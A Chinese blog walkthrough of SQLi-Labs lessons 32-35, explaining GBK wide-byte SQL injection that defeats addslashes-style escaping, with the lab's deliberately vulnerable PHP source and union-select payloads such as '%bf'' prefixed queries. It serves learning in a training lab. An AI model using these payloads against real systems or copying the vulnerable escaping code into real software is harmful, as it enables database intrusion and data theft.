SQLi Labs Lesson32 & 33 & 34 & 35

原创 2016年08月29日 10:39:02

Lesson - 32

GET - By Pass custom filter adding slashes to dangerous chars


首先进入欢迎界面:


构造 ?id=1,结果如图所示:


构造 ?id=1',结果如上图,不变。

构造  ?id=1",结果同上,不变。

但是根据本节提示,发现我们输入的单引号和双引号被转义。




本节学习宽字节注入。

后台php源码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

发现在执行SQL语句之前,设置了mysql字符集为GBK

利用此,可以进行宽字节注入。


GBK编码采用双字节编码方案,其编码范围:8140-FEFE

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。


构造 ?id=0%bf' union select 1,2,3 --+

结果如图所示:


Lesson - 33

GET - Bypass Add slashes

后台php源码:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

同上节,注入语句.

构造 ?id=0%bf' union select 1,database(),3 --+


Lesson - 34

POST - Bypass Add slashes

后台源代码:

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
        
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

同上节:

结果如图所示:


如果直接在username中输入 admin%bf' union select 1,2 #

而实际POST的数据为:

用修改POST数据的工具提交才能成功。


Lesson - 35

GET - Bypass Add slashes (we don't need them) Integer based

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}


$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

构造 ?id=0 union select 1,database(),3


当语句中用到单引号时,再用%bf构成宽字节注入。


版权声明:本文为博主原创文章,未经博主允许不得转载。

通过sqli-labs学习sql注入——基础挑战之less1-10

虽然sql注入接触过不少,其实也不太多,但是不系统,那就通过sqli-libs系统学习总结一下吧 我的学习的方法是什么呢? 先自己尝试一下注入,实在不行就看源码,再不行就看别人的指导,反正就是要弄...
  • u012763794
  • u012763794
  • 2016年05月02日 20:04
  • 27492

通过sqli-labs学习sql注入——基础挑战之less11-22

上一次就讲了基础挑战之less1-10,都是get型的,包含的种类也是比较多了,这次的是post型注入一般都是登陆绕过,当然也是可以获取数据库的信息,具体看下面的实验吧。 一些基础的知识上一篇基础挑战...
  • u012763794
  • u012763794
  • 2016年05月19日 14:11
  • 12407

sqli-labs学习教程(一)

简介 结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们总是...
  • qq_32400847
  • qq_32400847
  • 2016年12月03日 12:53
  • 5558

[sqli-labs]下载与部署

sqli-labs简介 对于想要学习web安全的同学 , 这是一个非常好的学习有关SQL注入的学习资料 类似于闯关的模式 , 每一个关卡都有非常多的思路和利用方式 这些关卡包含了各种...
  • ncafei
  • ncafei
  • 2017年01月12日 14:08
  • 680

sqli-labs学习教程(三)

第一篇链接:sqli-labs学习教程(一) 第二篇链接:sqli-labs学习教程(二) 本文转载自通过sqli-labs学习sql注入——基础挑战之less1-10 第六节:GET – Doubl...
  • qq_32400847
  • qq_32400847
  • 2016年12月06日 15:41
  • 1268

SQLi-Labs 学习笔记(Less 31-40)

SQLi-Labs 学习笔记 SQL 百度百科:结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,...
  • SmithJackHack
  • SmithJackHack
  • 2017年05月25日 15:11
  • 634

sqli-labs学习教程(七)

下面开始Challenges部分的学习。 第五十四节:GET – challenge – Union – 10 queries allowed – Variation 1 这一节只允许通过不多于10次...
  • qq_32400847
  • qq_32400847
  • 2017年02月27日 09:33
  • 372

SQLi Labs Challenges ( Lesson54 - Lesson65 )

Lesson - 54 GET - Challenge - Union - 10 queries allowed - Variation 1 多次测试,以猜测后台SQL语句结构, 当构造 ?...
  • x728999452
  • x728999452
  • 2016年09月01日 10:06
  • 230

sqli-labs从零开始学习日记(一)

学习SQL注入一直没什么头绪,用工具我真不是很喜欢,看到WOOYUN那些大牛扫腾讯,新浪的大战漏洞一般很多都是手动分析,我决定用SQLI-LABS学习,感觉不错,有兴趣的可以去他们的网站http://...
  • shzm0
  • shzm0
  • 2014年05月07日 23:59
  • 4041

【SQL注入】windows下sqli-labs的搭建

sqli-libs是一个联系SQL注入的平台,包括联合查询注入、盲注、头部注入、过安全狗等 源码下载 下载地址:https://github.com/Audi-1/sqli-labs 运行环境要...
  • qq_27214561
  • qq_27214561
  • 2017年05月30日 12:16
  • 1650
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:SQLi Labs Lesson32 & 33 & 34 & 35
举报原因:
原因补充:

(最多只允许输入30个字)